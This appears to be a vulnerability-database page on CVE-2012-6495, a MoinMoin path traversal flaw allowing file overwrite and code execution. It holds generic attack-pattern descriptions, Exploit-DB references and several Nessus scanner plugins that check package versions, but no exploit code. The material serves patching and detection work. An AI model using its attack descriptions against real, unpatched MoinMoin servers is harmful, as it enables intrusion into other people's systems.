Vulnerabilities > CVE-2012-6495 - Path Traversal vulnerability in Moinmo Moinmoin

047910
CVSS 6.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
SINGLE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
moinmo
CWE-22
nessus
exploit available
NVD
Published: 2013-01-03
Updated: 2013-01-07

Summary

Multiple directory traversal vulnerabilities in the (1) twikidraw (action/twikidraw.py) and (2) anywikidraw (action/anywikidraw.py) actions in MoinMoin before 1.9.6 allow remote authenticated users with write permissions to overwrite arbitrary files via unspecified vectors. NOTE: this can be leveraged with CVE-2012-6081 to execute arbitrary code.

Vulnerable Configurations

Part Description Count
Application
Moinmo
79

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

  • descriptionMoinMoin twikidraw Action Traversal File Upload. CVE-2012-6081,CVE-2012-6495. Remote exploit for linux platform
    idEDB-ID:26422
    last seen2016-02-03
    modified2013-06-24
    published2013-06-24
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/26422/
    titleMoinMoin twikidraw Action Traversal File Upload
  • descriptionMoinMoin - Arbitrary Command Execution. CVE-2012-6081,CVE-2012-6495. Webapps exploit for php platform
    fileexploits/php/webapps/25304.py
    idEDB-ID:25304
    last seen2016-02-03
    modified2013-05-08
    platformphp
    port
    published2013-05-08
    reporterHTP
    sourcehttps://www.exploit-db.com/download/25304/
    titleMoinMoin - Arbitrary Command Execution
    typewebapps

Nessus

  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2013-0685.NASL
    descriptionUpdate to 1.9.6. Fixes CVE-2012-6495 For full changes, see : http://hg.moinmo.in/moin/1.9/raw-file/1.9.6/docs/CHANGES Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-03-17
    modified2013-01-23
    plugin id63656
    published2013-01-23
    reporterThis script is Copyright (C) 2013-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/63656
    titleFedora 17 : moin-1.9.6-1.fc17 (2013-0685)
    code
    #%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Fedora Security Advisory 2013-0685.
#

include("compat.inc");

if (description)
{
  script_id(63656);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/03/12");

  script_cve_id("CVE-2012-6080", "CVE-2012-6081", "CVE-2012-6082");
  script_bugtraq_id(57076, 57082);
  script_xref(name:"FEDORA", value:"2013-0685");

  script_name(english:"Fedora 17 : moin-1.9.6-1.fc17 (2013-0685)");
  script_summary(english:"Checks rpm output for the updated package.");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Fedora host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Update to 1.9.6. Fixes CVE-2012-6495 

For full changes, see :

http://hg.moinmo.in/moin/1.9/raw-file/1.9.6/docs/CHANGES

Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://hg.moinmo.in/moin/1.9/raw-file/1.9.6/docs/CHANGES"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=890902"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=890903"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=890904"
  );
  # https://lists.fedoraproject.org/pipermail/package-announce/2013-January/097329.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?64121c64"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected moin package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"MoinMoin 1.9.5 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'MoinMoin twikidraw Action Traversal File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:moin");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:17");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/02");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/01/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/23");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2013-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Fedora Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! ereg(pattern:"^17([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 17.x", "Fedora " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);

flag = 0;
if (rpm_check(release:"FC17", reference:"moin-1.9.6-1.fc17")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "moin");
}
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-2593.NASL
    descriptionIt was discovered that missing input validation in the twikidraw and anywikidraw actions can result in the execution of arbitrary code. This security issue is being actively exploited. This update also addresses path traversal in AttachFile.
    last seen2020-03-17
    modified2012-12-31
    plugin id63356
    published2012-12-31
    reporterThis script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/63356
    titleDebian DSA-2593-1 : moin - several vulnerabilities
    code
    #%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-2593. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(63356);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/03/12");

  script_cve_id("CVE-2012-6080", "CVE-2012-6081", "CVE-2012-6082", "CVE-2012-6495");
  script_bugtraq_id(57076);
  script_xref(name:"DSA", value:"2593");

  script_name(english:"Debian DSA-2593-1 : moin - several vulnerabilities");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"It was discovered that missing input validation in the twikidraw and
anywikidraw actions can result in the execution of arbitrary code.
This security issue is being actively exploited.

This update also addresses path traversal in AttachFile."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://packages.debian.org/source/squeeze/moin"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.debian.org/security/2012/dsa-2593"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the moin packages.

For the stable distribution (squeeze), this problem has been fixed in
version 1.9.3-1+squeeze4."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"MoinMoin 1.9.5 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'MoinMoin twikidraw Action Traversal File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:moin");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:6.0");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/02");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/12/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/31");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"6.0", prefix:"python-moinmoin", reference:"1.9.3-1+squeeze4")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-201309-14.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-201309-14 (MoinMoin: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in MoinMoin. Please review the CVE identifiers referenced below for details. Impact : A remote attacker may be able to execute arbitrary code with the privileges of the process, overwrite arbitrary files, or conduct Cross-Site Scripting (XSS) attacks. Workaround : There is no known workaround at this time.
    last seen2020-06-01
    modified2020-06-02
    plugin id70110
    published2013-09-25
    reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/70110
    titleGLSA-201309-14 : MoinMoin: Multiple vulnerabilities
    code
    #
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 201309-14.
#
# The advisory text is Copyright (C) 2001-2019 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(70110);
  script_version("1.9");
  script_cvs_date("Date: 2019/02/07  9:34:55");

  script_cve_id("CVE-2012-6080", "CVE-2012-6081", "CVE-2012-6082", "CVE-2012-6495");
  script_bugtraq_id(57076, 57082, 57089, 57147);
  script_xref(name:"GLSA", value:"201309-14");

  script_name(english:"GLSA-201309-14 : MoinMoin: Multiple vulnerabilities");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-201309-14
(MoinMoin: Multiple vulnerabilities)

    Multiple vulnerabilities have been discovered in MoinMoin. Please review
      the CVE identifiers referenced below for details.
  
Impact :

    A remote attacker may be able to execute arbitrary code with the
      privileges of the process, overwrite arbitrary files, or conduct
      Cross-Site Scripting (XSS) attacks.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/201309-14"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All MoinMoin users should upgrade to the latest version:
      # emerge --sync
      # emerge --ask --oneshot --verbose '>=www-apps/moinmoin-1.9.6'"
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"MoinMoin 1.9.5 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'MoinMoin twikidraw Action Traversal File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:moinmoin");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/02");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/09/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/09/25");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"www-apps/moinmoin", unaffected:make_list("ge 1.9.6"), vulnerable:make_list("lt 1.9.6"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:qpkg_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "MoinMoin");
}
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2013-0640.NASL
    descriptionUpdate to 1.9.6. Fixes CVE-2012-6495 For full changes, see : http://hg.moinmo.in/moin/1.9/raw-file/1.9.6/docs/CHANGES Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-03-17
    modified2013-01-23
    plugin id63655
    published2013-01-23
    reporterThis script is Copyright (C) 2013-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/63655
    titleFedora 16 : moin-1.9.6-1.fc16 (2013-0640)
    code
    #%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Fedora Security Advisory 2013-0640.
#

include("compat.inc");

if (description)
{
  script_id(63655);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/03/12");

  script_cve_id("CVE-2012-6080", "CVE-2012-6081", "CVE-2012-6082");
  script_bugtraq_id(57076, 57082);
  script_xref(name:"FEDORA", value:"2013-0640");

  script_name(english:"Fedora 16 : moin-1.9.6-1.fc16 (2013-0640)");
  script_summary(english:"Checks rpm output for the updated package.");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Fedora host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Update to 1.9.6. Fixes CVE-2012-6495 

For full changes, see :

http://hg.moinmo.in/moin/1.9/raw-file/1.9.6/docs/CHANGES

Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://hg.moinmo.in/moin/1.9/raw-file/1.9.6/docs/CHANGES"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=890902"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=890903"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=890904"
  );
  # https://lists.fedoraproject.org/pipermail/package-announce/2013-January/097263.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?a608fbd6"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected moin package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"MoinMoin 1.9.5 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'MoinMoin twikidraw Action Traversal File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:moin");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:16");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/02");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/01/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/23");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2013-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Fedora Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! ereg(pattern:"^16([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 16.x", "Fedora " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);

flag = 0;
if (rpm_check(release:"FC16", reference:"moin-1.9.6-1.fc16")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "moin");
}
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2013-0600.NASL
    descriptionUpdate to 1.9.6. Fixes CVE-2012-6495 For full changes, see : http://hg.moinmo.in/moin/1.9/raw-file/1.9.6/docs/CHANGES Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-03-17
    modified2013-01-21
    plugin id63636
    published2013-01-21
    reporterThis script is Copyright (C) 2013-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/63636
    titleFedora 18 : moin-1.9.6-1.fc18 (2013-0600)
    code
    #%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Fedora Security Advisory 2013-0600.
#

include("compat.inc");

if (description)
{
  script_id(63636);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/03/12");

  script_cve_id("CVE-2012-6080", "CVE-2012-6081", "CVE-2012-6082");
  script_bugtraq_id(57076, 57082, 57089);
  script_xref(name:"FEDORA", value:"2013-0600");

  script_name(english:"Fedora 18 : moin-1.9.6-1.fc18 (2013-0600)");
  script_summary(english:"Checks rpm output for the updated package.");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Fedora host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Update to 1.9.6. Fixes CVE-2012-6495

For full changes, see :

http://hg.moinmo.in/moin/1.9/raw-file/1.9.6/docs/CHANGES

Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://hg.moinmo.in/moin/1.9/raw-file/1.9.6/docs/CHANGES"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=890902"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=890903"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=890904"
  );
  # https://lists.fedoraproject.org/pipermail/package-announce/2013-January/097105.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?87dc6bf3"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected moin package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"MoinMoin 1.9.5 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'MoinMoin twikidraw Action Traversal File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:moin");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:18");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/02");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/01/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/21");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2013-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Fedora Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! ereg(pattern:"^18([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 18.x", "Fedora " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);

flag = 0;
if (rpm_check(release:"FC18", reference:"moin-1.9.6-1.fc18")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "moin");
}
  • NASL familyCGI abuses
    NASL idMOINMOIN_TWIKIDRAW_CODE_EXEC.NASL
    descriptionThe MoinMoin install hosted on the remote web server fails to properly sanitize user-supplied input in the twikidraw (action/twikidraw.py) action. A remote, unauthenticated attacker could utilize a specially crafted request using directory traversal style characters to upload a file containing arbitrary code to the remote host. An attacker could then execute the code with the privileges of the user that runs the MoinMoin process. Successful exploitation requires that the MoinMoin plugin directory has write permission set for the MoinMoin server user. Note that the
    last seen2020-06-01
    modified2020-06-02
    plugin id63638
    published2013-01-21
    reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/63638
    titleMoinMoin twikidraw.py Traversal File Upload Arbitrary File Overwrite
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(63638);
  script_version("1.18");
  script_cvs_date("Date: 2019/12/04");

  script_cve_id("CVE-2012-6081", "CVE-2012-6495");
  script_bugtraq_id(57082, 57147);
  script_xref(name:"EDB-ID", value:"25304");

  script_name(english:"MoinMoin twikidraw.py Traversal File Upload Arbitrary File Overwrite");
  script_summary(english:"Attempts to execute arbitrary code");

  script_set_attribute(attribute:"synopsis", value:
"A wiki application on the remote web server is affected by a code
execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The MoinMoin install hosted on the remote web server fails to properly
sanitize user-supplied input in the twikidraw (action/twikidraw.py)
action.  A remote, unauthenticated attacker could utilize a specially
crafted request using directory traversal style characters to upload a
file containing arbitrary code to the remote host.  An attacker could
then execute the code with the privileges of the user that runs the
